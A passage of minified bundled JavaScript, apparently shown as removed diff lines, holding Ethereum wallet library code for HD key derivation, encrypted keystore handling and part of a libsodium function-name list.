lu(h3.getUTCMonth() + 1, 2) + "-" + lu(h3.getUTCDate(), 2) + "T" + lu(h3.getUTCHours(), 2) + "-" + lu(h3.getUTCMinutes(), 2) + "-" + lu(h3.getUTCSeconds(), 2) + ".0Z") + "--" + g2.address; - g2["x-ethers"] = { client: e3, gethFilename: u2, path: A3, locale: i3, mnemonicCounter: Pn(a3).substring(2), mnemonicCiphertext: Pn(c3).substring(2), version: "0.1" }; - } - return JSON.stringify(g2); - } - function wu(t2, e2, r4) { - null == r4 && (r4 = {}); - const n2 = fu(e2), A2 = Bu(r4); - return Eu(Sn(Yo(n2, A2.salt, A2.N, A2.r, A2.p, 64)), A2, t2, r4); - } - async function vu(t2, e2, r4) { - null == r4 && (r4 = {}); - const n2 = fu(e2), A2 = Bu(r4); - return Eu(Sn(await Oo(n2, A2.salt, A2.N, A2.r, A2.p, 64, r4.progressCallback)), A2, t2, r4); - } - var _u = "m/44'/60'/0'/0/0"; - var Qu = new Uint8Array([66, 105, 116, 99, 111, 105, 110, 32, 115, 101, 101, 100]); - var bu = 2147483648; - var ku = BigInt("0xfffffffffffffffffffffffffffffffebaaedce6af48a03bbfd25e8cd0364141"); - function Du(t2, e2) { - let r4 = ""; - for (; t2; ) - r4 = "0123456789abcdef"[t2 % 16] + r4, t2 = Math.trunc(t2 / 16); - for (; r4.length < 2 * e2; ) - r4 = "0" + r4; - return "0x" + r4; - } - function Su(t2) { - const e2 = Sn(t2); - return function(t3) { - const e3 = Sn(t3); - let r4 = Vn(e3), n2 = ""; - for (; r4; ) - n2 = tA[Number(r4 % AA)] + n2, r4 /= AA; - for (let t4 = 0; t4 < e3.length && !e3[t4]; t4++) - n2 = tA[0] + n2; - return n2; - }(Tn([e2, Un(zo(zo(e2)), 0, 4)])); - } - var Nu = {}; - function Mu(t2, e2, r4, n2) { - const A2 = new Uint8Array(37); - t2 & bu ? (wn(null != n2, "cannot derive child of neutered node", "UNSUPPORTED_OPERATION", { operation: "deriveChild" }), A2.set(Sn(n2), 1)) : A2.set(Sn(r4)); - for (let e3 = 24; e3 >= 0; e3 -= 8) - A2[33 + (e3 >> 3)] = t2 >> 24 - e3 & 255; - const i2 = Sn(Ui("sha512", e2, A2)); - return { IL: i2.slice(0, 32), IR: i2.slice(32) }; - } - function xu(t2, e2) { - const r4 = e2.split("/"); - vn(r4.length > 0, "invalid path", "path", e2), "m" === r4[0] && (vn(0 === t2.depth, `cannot derive root path (i.e. path starting with "m/") for a node at non-zero depth ${t2.depth}`, "path", e2), r4.shift()); - let n2 = t2; - for (let t3 = 0; t3 < r4.length; t3++) { - const e3 = r4[t3]; - if (e3.match(/^[0-9]+'$/)) { - const r5 = parseInt(e3.substring(0, e3.length - 1)); - vn(r5 < bu, "invalid path index", `path[${t3}]`, e3), n2 = n2.deriveChild(bu + r5); - } else if (e3.match(/^[0-9]+$/)) { - const r5 = parseInt(e3); - vn(r5 < bu, "invalid path index", `path[${t3}]`, e3), n2 = n2.deriveChild(r5); - } else - vn(false, "invalid path component", `path[${t3}]`, e3); - } - return n2; - } - var Fu = class _Fu extends Ig { - publicKey; - fingerprint; - parentFingerprint; - mnemonic; - chainCode; - path; - index; - depth; - constructor(t2, e2, r4, n2, A2, i2, o2, s2, a2) { - super(e2, a2), kn(t2, Nu, "HDNodeWallet"), yn(this, { publicKey: e2.compressedPublicKey }); - yn(this, { parentFingerprint: r4, fingerprint: Un(Eo(zo(this.publicKey)), 0, 4), chainCode: n2, path: A2, index: i2, depth: o2 }), yn(this, { mnemonic: s2 }); - } - connect(t2) { - return new _Fu(Nu, this.signingKey, this.parentFingerprint, this.chainCode, this.path, this.index, this.depth, this.mnemonic, t2); - } - #at() { - const t2 = { address: this.address, privateKey: this.privateKey }, e2 = this.mnemonic; - return this.path && e2 && "en" === e2.wordlist.locale && "" === e2.password && (t2.mnemonic = { path: this.path, locale: "en", entropy: e2.entropy }), t2; - } - async encrypt(t2, e2) { - return await vu(this.#at(), t2, { progressCallback: e2 }); - } - encryptSync(t2) { - return wu(this.#at(), t2); - } - get extendedKey() { - return wn(this.depth < 256, "Depth too deep", "UNSUPPORTED_OPERATION", { operation: "extendedKey" }), Su(Tn(["0x0488ADE4", Du(this.depth, 1), this.parentFingerprint, Du(this.index, 4), this.chainCode, Tn(["0x00", this.privateKey])])); - } - hasPath() { - return null != this.path; - } - neuter() { - return new Pu(Nu, this.address, this.publicKey, this.parentFingerprint, this.chainCode, this.path, this.index, this.depth, this.provider); - } - deriveChild(t2) { - const e2 = Wn(t2, "index"); - vn(e2 <= 4294967295, "invalid index", "index", e2); - let r4 = this.path; - r4 && (r4 += "/" + (2147483647 & e2), e2 & bu && (r4 += "'")); - const { IR: n2, IL: A2 } = Mu(e2, this.chainCode, this.publicKey, this.privateKey), i2 = new ca(Zn((Vn(A2) + BigInt(this.privateKey)) % ku, 32)); - return new _Fu(Nu, i2, this.fingerprint, Pn(n2), r4, e2, this.depth + 1, this.mnemonic, this.provider); - } - derivePath(t2) { - return xu(this, t2); - } - static #ct(t2, e2) { - vn(xn(t2), "invalid seed", "seed", "[REDACTED]"); - const r4 = Sn(t2, "seed"); - vn(r4.length >= 16 && r4.length <= 64, "invalid seed", "seed", "[REDACTED]"); - const n2 = Sn(Ui("sha512", Qu, r4)), A2 = new ca(Pn(n2.slice(0, 32))); - return new _Fu(Nu, A2, "0x00000000", Pn(n2.slice(32)), "m", 0, 0, e2, null); - } - static fromExtendedKey(t2) { - const e2 = $n(function(t3) { - let e3 = nA; - for (let r5 = 0; r5 < t3.length; r5++) - e3 *= AA, e3 += rA(t3[r5]); - return e3; - }(t2)); - vn(82 === e2.length || Su(e2.slice(0, 78)) === t2, "invalid extended key", "extendedKey", "[ REDACTED ]"); - const r4 = e2[4], n2 = Pn(e2.slice(5, 9)), A2 = parseInt(Pn(e2.slice(9, 13)).substring(2), 16), i2 = Pn(e2.slice(13, 45)), o2 = e2.slice(45, 78); - switch (Pn(e2.slice(0, 4))) { - case "0x0488b21e": - case "0x043587cf": { - const t3 = Pn(o2); - return new Pu(Nu, Ja(t3), t3, n2, i2, null, A2, r4, null); - } - case "0x0488ade4": - case "0x04358394 ": - if (0 !== o2[0]) - break; - return new _Fu(Nu, new ca(o2.slice(1)), n2, i2, null, A2, r4, null, null); - } - vn(false, "invalid extended key prefix", "extendedKey", "[ REDACTED ]"); - } - static createRandom(t2, e2, r4) { - null == t2 && (t2 = ""), null == e2 && (e2 = _u), null == r4 && (r4 = _g.wordlist()); - const n2 = Sg.fromEntropy(So(16), t2, r4); - return _Fu.#ct(n2.computeSeed(), n2).derivePath(e2); - } - static fromMnemonic(t2, e2) { - return e2 || (e2 = _u), _Fu.#ct(t2.computeSeed(), t2).derivePath(e2); - } - static fromPhrase(t2, e2, r4, n2) { - null == e2 && (e2 = ""), null == r4 && (r4 = _u), null == n2 && (n2 = _g.wordlist()); - const A2 = Sg.fromPhrase(t2, e2, n2); - return _Fu.#ct(A2.computeSeed(), A2).derivePath(r4); - } - static fromSeed(t2) { - return _Fu.#ct(t2, null); - } - }; - var Pu = class _Pu extends dg { - publicKey; - fingerprint; - parentFingerprint; - chainCode; - path; - index; - depth; - constructor(t2, e2, r4, n2, A2, i2, o2, s2, a2) { - super(e2, a2), kn(t2, Nu, "HDNodeVoidWallet"), yn(this, { publicKey: r4 }); - yn(this, { publicKey: r4, fingerprint: Un(Eo(zo(r4)), 0, 4), parentFingerprint: n2, chainCode: A2, path: i2, index: o2, depth: s2 }); - } - connect(t2) { - return new _Pu(Nu, this.address, this.publicKey, this.parentFingerprint, this.chainCode, this.path, this.index, this.depth, t2); - } - get extendedKey() { - return wn(this.depth < 256, "Depth too deep", "UNSUPPORTED_OPERATION", { operation: "extendedKey" }), Su(Tn(["0x0488B21E", Du(this.depth, 1), this.parentFingerprint, Du(this.index, 4), this.chainCode, this.publicKey])); - } - hasPath() { - return null != this.path; - } - deriveChild(t2) { - const e2 = Wn(t2, "index"); - vn(e2 <= 4294967295, "invalid index", "index", e2); - let r4 = this.path; - r4 && (r4 += "/" + (2147483647 & e2), e2 & bu && (r4 += "'")); - const { IR: n2, IL: A2 } = Mu(e2, this.chainCode, this.publicKey, null), i2 = ca.addPoints(A2, this.publicKey, true), o2 = Ja(i2); - return new _Pu(Nu, o2, i2, this.fingerprint, Pn(n2), r4, e2, this.depth + 1, this.provider); - } - derivePath(t2) { - return xu(this, t2); - } - }; - function Tu(t2) { - try { - if (JSON.parse(t2).encseed) - return true; - } catch (t3) { - } - return false; - } - function Ru(t2, e2) { - const r4 = JSON.parse(t2), n2 = fu(e2), A2 = da(pu(r4, "ethaddr:string!")), i2 = uu(pu(r4, "encseed:string!")); - vn(i2 && i2.length % 16 == 0, "invalid encseed", "json", t2); - const o2 = Sn(Qo(n2, n2, 2e3, 32, "sha256")).slice(0, 16), s2 = i2.slice(0, 16), a2 = i2.slice(16), c2 = function(t3) { - if (t3.length < 16) - throw new TypeError("PKCS#7 invalid length"); - const e3 = t3[t3.length - 1]; - if (e3 > 16) - throw new TypeError("PKCS#7 padding byte out of range"); - const r5 = t3.length - e3; - for (let n3 = 0; n3 < e3; n3++) - if (t3[r5 + n3] !== e3) - throw new TypeError("PKCS#7 invalid padding byte"); - return new Uint8Array(t3.subarray(0, r5)); - }(Sn(new iu(o2, s2).decrypt(a2))); - let h2 = ""; - for (let t3 = 0; t3 < c2.length; t3++) - h2 += String.fromCharCode(c2[t3]); - return { address: A2, privateKey: Oa(h2) }; - } - function Uu(t2) { - return new Promise((e2) => { - setTimeout(() => { - e2(); - }, t2); - }); - } - var Gu = class _Gu extends Ig { - constructor(t2, e2) { - "string" != typeof t2 || t2.startsWith("0x") || (t2 = "0x" + t2), super("string" == typeof t2 ? new ca(t2) : t2, e2); - } - connect(t2) { - return new _Gu(this.signingKey, t2); - } - async encrypt(t2, e2) { - const r4 = { address: this.address, privateKey: this.privateKey }; - return await vu(r4, t2, { progressCallback: e2 }); - } - encryptSync(t2) { - return wu({ address: this.address, privateKey: this.privateKey }, t2); - } - static #ht(t2) { - if (vn(t2, "invalid JSON wallet", "json", "[ REDACTED ]"), "mnemonic" in t2 && t2.mnemonic && "en" === t2.mnemonic.locale) { - const e3 = Sg.fromEntropy(t2.mnemonic.entropy), r4 = Fu.fromMnemonic(e3, t2.mnemonic.path); - if (r4.address === t2.address && r4.privateKey === t2.privateKey) - return r4; - console.log("WARNING: JSON mismatch address/privateKey != mnemonic; fallback onto private key"); - } - const e2 = new _Gu(t2.privateKey); - return vn(e2.address === t2.address, "address/privateKey mismatch", "json", "[ REDACTED ]"), e2; - } - static async fromEncryptedJson(t2, e2, r4) { - let n2 = null; - return Iu(t2) ? n2 = await async function(t3, e3, r5) { - const n3 = JSON.parse(t3), A2 = fu(e3), i2 = Cu(n3); - if ("pbkdf2" === i2.name) { - r5 && (r5(0), await mu(0)); - const { salt: t4, count: e4, dkLen: o3, algorithm: s3 } = i2, a3 = Qo(A2, t4, e4, o3, s3); - return r5 && (r5(1), await mu(0)), yu(n3, a3); - } - wn("scrypt" === i2.name, "cannot be reached", "UNKNOWN_ERROR", { params: i2 }); - const { salt: o2, N: s2, r: a2, p: c2, dkLen: h2 } = i2; - return yu(n3, await Oo(A2, o2, s2, a2, c2, h2, r5)); - }(t2, e2, r4) : Tu(t2) && (r4 && (r4(0), await Uu(0)), n2 = Ru(t2, e2), r4 && (r4(1), await Uu(0))), _Gu.#ht(n2); - } - static fromEncryptedJsonSync(t2, e2) { - let r4 = null; - return Iu(t2) ? r4 = function(t3, e3) { - const r5 = JSON.parse(t3), n2 = fu(e3), A2 = Cu(r5); - if ("pbkdf2" === A2.name) { - const { salt: t4, count: e4, dkLen: i3, algorithm: o3 } = A2; - return yu(r5, Qo(n2, t4, e4, i3, o3)); - } - wn("scrypt" === A2.name, "cannot be reached", "UNKNOWN_ERROR", { params: A2 }); - const { salt: i2, N: o2, r: s2, p: a2, dkLen: c2 } = A2; - return yu(r5, Yo(n2, i2, o2, s2, a2, c2)); - }(t2, e2) : Tu(t2) ? r4 = Ru(t2, e2) : vn(false, "invalid JSON wallet", "json", "[ REDACTED ]"), _Gu.#ht(r4); - } - static createRandom(t2) { - const e2 = Fu.createRandom(); - return t2 ? e2.connect(t2) : e2; - } - static fromPhrase(t2, e2) { - const r4 = Fu.fromPhrase(t2); - return e2 ? r4.connect(e2) : r4; - } - }; - var Hu; - !function(t2) { - t2.ERC20 = "ERC20", t2.ERC721 = "ERC721"; - }(Hu || (Hu = {})); - var Lu; - var Ou = {}; - var Yu = { exports: {} }; - !function(e2) { - !function(r4) { - function n2(t2, e3) { - var r5, n3 = "uint8array", A3 = e3.ready.then(function() { - function n4() { - if (0 !== r5._sodium_init()) - throw new Error("libsodium was not correctly initialized."); - for (var e4 = ["crypto_aead_aegis128l_decrypt", "crypto_aead_aegis128l_decrypt_detached", "crypto_aead_aegis128l_encrypt", "crypto_aead_aegis128l_encrypt_detached", "crypto_aead_aegis128l_keygen", "crypto_aead_aegis256_decrypt", "crypto_aead_aegis256_decrypt_detached", "crypto_aead_aegis256_encrypt", "crypto_aead_aegis256_encrypt_detached", "crypto_aead_aegis256_keygen", "crypto_aead_chacha20poly1305_decrypt", "crypto_aead_chacha20poly1305_decrypt_detached", "crypto_aead_chacha20poly1305_encrypt", "crypto_aead_chacha20poly1305_encrypt_detached", "crypto_aead_chacha20poly1305_ietf_decrypt", "crypto_aead_chacha20poly1305_ietf_decrypt_detached", "crypto_aead_chacha20poly1305_ietf_encrypt", "crypto_aead_chacha20poly1305_ietf_encrypt_detached", "crypto_aead_chacha20poly1305_ietf_keygen", "crypto_aead_chacha20poly1305_keygen", "crypto_aead_xchacha20poly1305_ietf_decrypt", "crypto_aead_xchacha20poly1305_ietf_decrypt_detached", "crypto_aead_xchacha20poly1305_ietf_encrypt", "crypto_aead_xchacha20poly1305_ietf_encrypt_detached", "crypto_aead_xchacha20poly1305_ietf_keygen", "crypto_auth", "crypto_auth_hmacsha256", "crypto_auth_hmacsha256_final", "crypto_auth_hmacsha256_init", "crypto_auth_hmacsha256_keygen", "crypto_auth_hmacsha256_update", "crypto_auth_hmacsha256_verify", "crypto_auth_hmacsha512", "crypto_auth_hmacsha512_final", "crypto_auth_hmacsha512_init", "crypto_auth_hmacsha512_keygen", "crypto_auth_hmacsha512_update", "crypto_auth_hmacsha512_verify", "crypto_auth_keygen", "crypto_auth_verify", "crypto_box_beforenm", "crypto_box_curve25519xchacha20poly1305_beforenm", "crypto_box_curve25519xchacha20poly1305_detached", "crypto_box_curve25519xchacha20poly1305_detached_afternm", "crypto_box_curve25519xchacha20poly1305_easy", "crypto_box_curve25519xchacha20poly1305_easy_afternm", "crypto_box_curve25519xchacha20poly1305_keypair", "crypto_box_curve25519xchacha20poly1305_open_detached", "crypto_box_curve25519xchacha20poly1305_open_detached_afternm", "crypto_box_curve25519xchacha20poly1305_open_easy", "crypto_box_curve25519xchacha20poly1305_open_easy_afternm", "crypto_box_curve25519xchacha20poly1305_seal", "crypto_box_curve25519xchacha20poly1305_seal_open", "crypto_box_curve25519xchacha20poly1305_seed_keypair", "crypto_box_detached", "crypto_box_easy", "crypto_box_easy_afternm", "crypto_box_keypair", "crypto_box_open_detached", "crypto_box_open_easy", "crypto_box_open_easy_afternm", "crypto_box_seal", "crypto_box_seal_open", "crypto_box_seed_keypair", "crypto_core_ed25519_add", "crypto_core_ed25519_from_hash", "crypto_core_ed25519_from_uniform", "crypto_core_ed25519_is_valid_point", "crypto_core_ed25519_random", "crypto_core_ed25519_scalar_add", "crypto_core_ed25519_scalar_complement", "crypto_core_ed25519_scalar_invert", "crypto_core_ed25519_scalar_mul", "crypto_core_ed25519_scalar_negate", "crypto_core_ed25519_scalar_random", "crypto_core_ed25519_scalar_reduce", "crypto_core_ed25519_scalar_sub", "crypto_core_ed25519_sub", "crypto_core_hchacha20", "crypto_core_hsalsa20", "crypto_core_ristretto255_add", "crypto_core_ristretto255_from_hash", "crypto_core_ristretto255_is_valid_point", "crypto_core_ristretto255_random", "crypto_core_ristretto255_scalar_add", "crypto_core_ristretto255_scalar_complement", "crypto_core_ristretto255_scalar_invert", "crypto_core_ristretto255_scalar_mul", "crypto_core_ristretto255_scalar_negate", "crypto_core_ristretto255_scalar_random", "crypto_core_ristretto255_scalar_reduce", "crypto_core_ristretto255_scalar_sub", "crypto_core_ristretto255_sub", "crypto_generichash", "crypto_generichash_blake2b_salt_personal", "crypto_generichash_final", "crypto_generichash_init", "crypto_generichash_keygen", "crypto_generichash_update", "crypto_hash", "crypto_hash_sha256", "crypto_hash_sha256_final", "crypto_hash_sha256_init", "crypto_hash_sha256_update", "crypto_hash_sha512", "crypto_hash_sha512_final", "crypto_hash_sha512_init", "crypto_hash_sha512_update", "crypto_kdf_derive_from_key", "crypto_kdf_keygen", "crypto_kx_client_session_keys", "crypto_kx_keypair", "crypto_kx_seed_keypair", "crypto_kx_server_session_keys", "crypto_onetimeauth", "crypto_onetimeauth_final", "crypto_onetimeauth_init", "crypto_onetimeauth_keygen", "crypto_onetimeauth_update", "crypto_onetimeauth_verify", "crypto_pwhash", "crypto_pwhash_scryptsalsa208sha256", "crypto_pwhash_scryptsalsa208sha256_ll", "crypto_pwhash_scryptsalsa208sha256_str", "crypto_pwhash_scryptsalsa208sha256_str_verify", "crypto_pwhash_str", "crypto_pwhash_str_needs_rehash", "crypto_pwhash_str_verify", "crypto_scalarmult", "crypto_scalarmult_base", "crypto_scalarmult_ed25519", "crypto_scalarmult_ed25519_base", "crypto_scalarmult_ed25519_base_noclamp", "crypto_scalarmult_ed25519_noclamp", "crypto_scalarmult_ristretto255", "crypto_scalarmult_ristretto255_base", "crypto_secretbox_detached", "crypto_secretbox_easy", "crypto_secretbox_keygen", "crypto_secretbox_open_detached", "crypto_secretbox_open_easy", "crypto_secretstream_xchacha20poly1305_init_pull", "crypto_secretstream_xchacha20poly1305_init_push", "crypto_secretstream_xchacha20poly1305_keygen", "crypto_secretstream_xchacha20poly1305_pull", "crypto_secretstream_xchacha20poly1305_push", "crypto_secretstream_xchacha20poly1305_rekey", "crypto_shorthash", "crypto_shorthash_keygen", "crypto_shorthash_siphashx24", "crypto_sign", "crypto_sign_detached", "crypto_sign_ed25519_pk_to_curve25519", "crypto_sign_ed25519_sk_to_curve25519", "crypto_sign_ed25519_sk_to_pk", "crypto_sign_ed25519_sk_to_seed", "crypto_sign_final_create", "crypto_sign_final_verify", "crypto_sign_init", "crypto_sign_keypair", "crypto_sign_open", "crypto_sign_seed_keypair", "crypto_sign_update", "crypto_sign_verify_detached", "crypto_stream_chacha20", "crypto_stream_chacha20_ietf_xor", "crypto_stream_chacha20_ietf_xor_ic", "crypto_stream_chacha20_keygen", "crypto_stream_chacha20_xor", "crypto_stream_chacha20_xor_ic", "crypto_stream_keygen", "crypto_stream_xchacha20_keygen", "crypto_stream_xchacha20_xor", "crypto_stream_xchacha20_xor_ic", "randombytes_buf", "randombytes_buf_deterministic", "randombytes_close", "randombytes_random", "randombytes_set_implementation", "randombytes_stir", "randombytes_uniform", "sodium_version_string"], n5 = [E2, w2, v2, _2, Q2, b2, k2, D2, S2, N3, M2, x2, F2, P2, T2, R2, U2, G2, H2, L2, O2, Y2, K2, J2, j2, z2, q2, X2, V2, W2, Z2, $2, tt2, et2, rt2, nt2, At2, it2, ot2, st2, at2, ct2, ht2, gt2, ut2, lt2, ft2, pt2, dt2, It2, yt2, Ct2, mt2, Bt2, Et2, wt2, vt2, _t2, Qt2, bt2, kt2, Dt2, St2, Nt2, Mt2, xt2, Ft2, Pt2, Tt2, Rt2, Ut2, Gt2, Ht2, Lt2, Ot2, Yt2, Kt2, Jt2, jt2, zt2, qt2, Xt2, Vt2, Wt2, Zt2, $t2, te2, ee2, re2, ne2, Ae2, ie2, oe2, se2, ae2, ce2, he2, ge2, ue2, le2, fe2, pe2, de2, Ie2, ye2, Ce2, me2, Be2, Ee2, we2, ve2, _e2, Qe2, be2, ke2, De2, Se2, Ne2, Me2, xe2, Fe2, Pe2, Te2, Re2, Ue2, Ge2, He2, Le2, Oe2, Ye2, Ke2, Je2, je2, ze2, qe2, Xe2, Ve2, We2, Ze2, $e2, tr2, er2, rr2, nr2, Ar2, ir2, or2, sr2, ar2, cr2, hr2, gr2, ur2, lr2, fr2, pr2, dr2, Ir2, yr2, Cr2, mr2, Br2, Er2, wr2, vr2, _r2, Qr2, br2, kr2, Dr2, Sr2, Nr2, Mr2, xr2, Fr2, Pr2, Tr2, Rr2, Ur2, Gr2, Hr2, Lr2], A5 = 0; A5 < n5.length; A5++) - "function" == typeof r5["_" + e4[A5]] && (t2[e4[A5]] = n5[A5]); - var i4 = ["SODIUM_LIBRARY_VERSION_MAJOR", "SODIUM_LIBRARY_VERSION_MINOR", "crypto_aead_chacha20poly1305_ABYTES", "crypto_aead_chacha20poly1305_IETF_ABYTES", "crypto_aead_chacha20poly1305_IETF_KEYBYTES", "crypto_aead_chacha20poly1305_IETF_MESSAGEBYTES_MAX", "crypto_aead_chacha20poly1305_IETF_NPUBBYTES", "crypto_aead_chacha20poly1305_IETF_NSECBYTES", "crypto_aead_chacha20poly1305_KEYBYTES", "crypto_aead_chacha20poly1305_MESSAGEBYTES_MAX", "crypto_aead_chacha20poly1305_NPUBBYTES", "crypto_aead_chacha20poly1305_NSECBYTES", "crypto_aead_chacha20poly1305_ietf_ABYTES", "crypto_aead_chacha20poly1305_ietf_KEYBYTES", "crypto_aead_chacha20poly1305_ietf_MESSAGEBYTES_MAX", "crypto_aead_chacha20poly1305_ietf_NPUBBYTES", "crypto_aead_chacha20poly1305_ietf_NSECBYTES", "crypto_aead_xchacha20poly1305_IETF_ABYTES", "crypto_aead_xchacha20poly1305_IETF_KEYBYTES", "crypto_aead_xchacha20poly1305_IETF_MESSAGEBYTES_MAX", "crypto_aead_xchacha20poly1305_IETF_NPUBBYTES", "crypto_aead_xchacha20poly1305_IETF_NSECBYTES", "crypto_aead_xchacha20poly1305_ietf_ABYTES", "crypto_aead_xchacha20poly1305_ietf_KEYBYTES", "crypto_aead_xchacha20poly1305_ietf_MESSAGEBYTES_MAX", "crypto_aead_xchacha20poly1305_ietf_NPUBBYTES", "crypto_aead_xchacha20poly1305_ietf_NSECBYTES", "crypto_auth_BYTES", "crypto_auth_KEYBYTES", "crypto_auth_hmacsha256_BYTES", "crypto_auth_hmacsha256_KEYBYTES", "crypto_auth_hmacsha512256_BYTES", "crypto_auth_hmacsha512256_KEYBYTES", "crypto_auth_hmacsha512_BYTES", "crypto_auth_hmacsha512_KEYBYTES", "crypto_box_BEFORENMBYTES", "crypto_box_MACBYTES", "crypto_box_MESSAGEBYTES_MAX", "crypto_box_NONCEBYTES", "crypto_box_PUBLICKEYBYTES", "crypto_box_SEALBYTES", "crypto_box_SECRETKEYBYTES", "crypto_box_SEEDBYTES", "crypto_box_curve25519xchacha20poly1305_BEFORENMBYTES", "crypto_box_curve25519xchacha20poly1305_MACBYTES", "crypto_box_curve25519xchacha20poly1305_MESSAGEBYTES_MAX", "crypto_box_curve25519xchacha20poly1305_NONCEBYTES", "crypto_box_curve25519xchacha20poly1305_PUBLICKEYBYTES", "crypto_box_curve25519xchacha20poly1305_SEALBYTES", "crypto_box_curve25519xchacha20poly1305_SECRETKEYBYTES", "crypto_box_curve25519xchacha20poly1305_SEEDBYTES", "crypto_box_curve25519xsalsa20poly1305_BEFORENMBYTES", "crypto_box_curve25519xsalsa20poly1305_MACBYTES", "crypto_box_curve25519xsalsa20poly1305_MESSAGEBYTES_MAX", "crypto_box_curve25519xsalsa20poly1305_NONCEBYTES", "crypto_box_curve25519xsalsa20poly1305_PUBLICKEYBYTES", "crypto_box_curve25519xsalsa20poly1305_SECRETKEYBYTES", "crypto_box_curve25519xsalsa20poly1305_SEEDBYTES", "crypto_core_ed25519_BYTES", "crypto_core_ed25519_HASHBYTES", "crypto_core_ed25519_NONREDUCEDSCALARBYTES", "crypto_core_ed25519_SCALARBYTES", "crypto_core_ed25519_UNIFORMBYTES", "crypto_core_hchacha20_CONSTBYTES", "crypto_core_hchacha20_INPUTBYTES", "crypto_core_hchacha20_KEYBYTES", "crypto_core_hchacha20_OUTPUTBYTES", "crypto_core_hsalsa20_CONSTBYTES", "crypto_core_hsalsa20_INPUTBYTES", "crypto_core_hsalsa20_KEYBYTES", "crypto_core_hsalsa20_OUTPUTBYTES", "crypto_core_ristretto255_BYTES", "crypto_core_ristretto255_HASHBYTES", "crypto_core_ristretto255_NONREDUCEDSCALARBYTES", "crypto_core_ristretto255_SCALARBYTES", "crypto_core_salsa2012_CONSTBYTES", "crypto_core_salsa2012_INPUTBYTES", "crypto_core_salsa2012_KEYBYTES", "crypto_core_salsa2012_OUTPUTBYTES", "crypto_core_salsa20_CONSTBYTES", "crypto_core_salsa20_INPUTBYTES", "crypto_core_salsa20_KEYBYTES", "crypto_core_salsa20_OUTPUTBYTES", "crypto_generichash_BYTES", "crypto_generichash_BYTES_MAX", "crypto_generichash_BYTES_MIN", "crypto_generichash_KEYBYTES", "crypto_generichash_KEYBYTES_MAX", "crypto_generichash_KEYBYTES_MIN", "crypto_generichash_blake2b_BYTES", "crypto_generichash_blake2b_BYTES_MAX", "crypto_generichash_blake2b_BYTES_MIN", "crypto_generichash_blake2b_KEYBYTES", "crypto_generichash_blake2b_KEYBYTES_MAX", "crypto_generichash_blake2b_KEYBYTES_MIN", "crypto_generichash_blake2b_PERSONALBYTES", "crypto_generichash_blake2b_SALTBYTES", "crypto_hash_BYTES", "crypto_hash_sha256_BYTES", "crypto_hash_sha512_BYTES", "crypto_kdf_BYTES_MAX", "crypto_kdf_BYTES_MIN", "crypto_kdf_CONTEXTBYTES", "crypto_kdf_KEYBYTES", "crypto_kdf_blake2b_BYTES_MAX", "crypto_kdf_blake2b_BYTES_MIN", "crypto_kdf_blake2b_CONTEXTBYTES", "crypto_kdf_blake2b_KEYBYTES", "crypto_kx_PUBLICKEYBYTES", "crypto_kx_SECRETKEYBYTES", "crypto_kx_SEEDBYTES", "crypto_kx_SESSIONKEYBYTES", "crypto_onetimeauth_BYTES", "crypto_onetimeauth_KEYBYTES", "crypto_onetimeauth_poly1305_BYTES", "crypto_onetimeauth_poly1305_KEYBYTES", "crypto_pwhash_ALG_ARGON2I13", "crypto_pwhash_ALG_ARGON2ID13", "crypto_pwhash_ALG_DEFAULT", "crypto_pwhash_BYTES_MAX", "crypto_pwhash_BYTES_MIN", "crypto_pwhash_MEMLIMIT_INTERACTIVE", "crypto_pwhash_MEMLIMIT_MAX", "crypto_pwhash_MEMLIMIT_MIN", "crypto_pwhash_MEMLIMIT_MODERATE", "crypto_pwhash_MEMLIMIT_SENSITIVE", "crypto_pwhash_OPSLIMIT_INTERACTIVE", "crypto_pwhash_OPSLIMIT_MAX", "crypto_pwhash_OPSLIMIT_MIN", "crypto_pwhash_OPSLIMIT_MODERATE", "crypto_pwhash_OPSLIMIT_SENSITIVE", "crypto_pwhash_PASSWD_MAX", "crypto_pwhash_PASSWD_MIN", "crypto_pwhash_SALTBYTES", "crypto_pwhash_STRBYTES", "crypto_pwhash_argon2i_BYTES_MAX", "crypto_pwhash_argon2i_BYTES_MIN", "crypto_pwhash_argon2i_SALTBYTES", "crypto_pwhash_argon2i_STRBYTES", "crypto_pwhash_argon2id_BYTES_MAX", "crypto_pwhash_argon2id_BYTES_MIN", "crypto_pwhash_argon2id_SALTBYTES", "crypto_pwhash_argon2id_STRBYTES", "crypto_pwhash_scryptsalsa208sha256_BYTES_MAX", "crypto_pwhash_scryptsalsa208sha256_BYTES_MIN", "crypto_pwhash_scryptsalsa208sha256_MEMLIMIT_INTERACTIVE", "crypto_pwhash_scryptsalsa208sha256_MEMLIMIT_MAX", "crypto_pwhash_scryptsalsa208sha256_MEMLIMIT_MIN", "crypto_pwhash_scryptsalsa208sha256_MEMLIMIT_SENSITIVE", "crypto_pwhash_scryptsalsa208sha256_OPSLIMIT_INTERACTIVE", "crypto_pwhash_scryptsalsa208sha256_OPSLIMIT_MAX", "crypto_pwhash_scryptsalsa208sha256_OPSLIMIT_MIN", "crypto_pwhash_scryptsalsa208sha256_OPSLIMIT_SENSITIVE", "crypto_pwhash_scryptsalsa208sha256_SALTBYTES", "crypto_pwhash_scryptsalsa208sha256_STRBYTES", "crypto_scalarmult_BYTES", "crypto_scalarmult_SCALARBYTES", "crypto_scalarmult_curve25519_BYTES", "crypto_scalarmult_curve25519_SCALARBYTES", "crypto_scalarmult_ed25519_BYTES", "crypto_scalarmult_ed25519_SCALARBYTES", "crypto_scalarmult_ristretto255_BYTES", "crypto_scalarmult_ristretto255_SCALARBYTES", "crypto_secretbox_KEYBYTES", "crypto_secretbox_MACBYTES", "crypto_secretbox_MESSAGEBYTES_MAX", "crypto_secretbox_NONCEBYTES", "crypto_secretbox_xchacha20poly1305_KEYBYTES", "crypto_secretbox_xchacha20poly1305_MACBYTES", "crypto_secretbox_xchacha20poly1305_MESSAGEBYTES_MAX", "crypto_secretbox_xchacha20poly1305_NONCEBYTES", "crypto_secretbox_xsalsa20poly1305_KEYBYTES", "crypto_secretbox_xsalsa20poly1305_MACBYTES", "crypto_secretbox_xsalsa20poly1305_MESSAGEBYTES_MAX", "crypto_secretbox_xsalsa20poly1305_NONCEBYTES", "crypto_secretstream_xchacha20poly1305_ABYTES", "crypto_secretstream_xchacha20poly1305_HEADERBYTES", "crypto_secretstream_xchacha20poly1305_KEYBYTES", "crypto_secretstream_xchacha20poly1305_MESSAGEBYTES_MAX", "crypto_secretstream_xchacha20poly1305_TAG_FINAL", "crypto_secretstream_xchacha20poly1305_TAG_MESSAGE", "crypto_secretstream_xchacha20poly1305_TAG_PUSH", 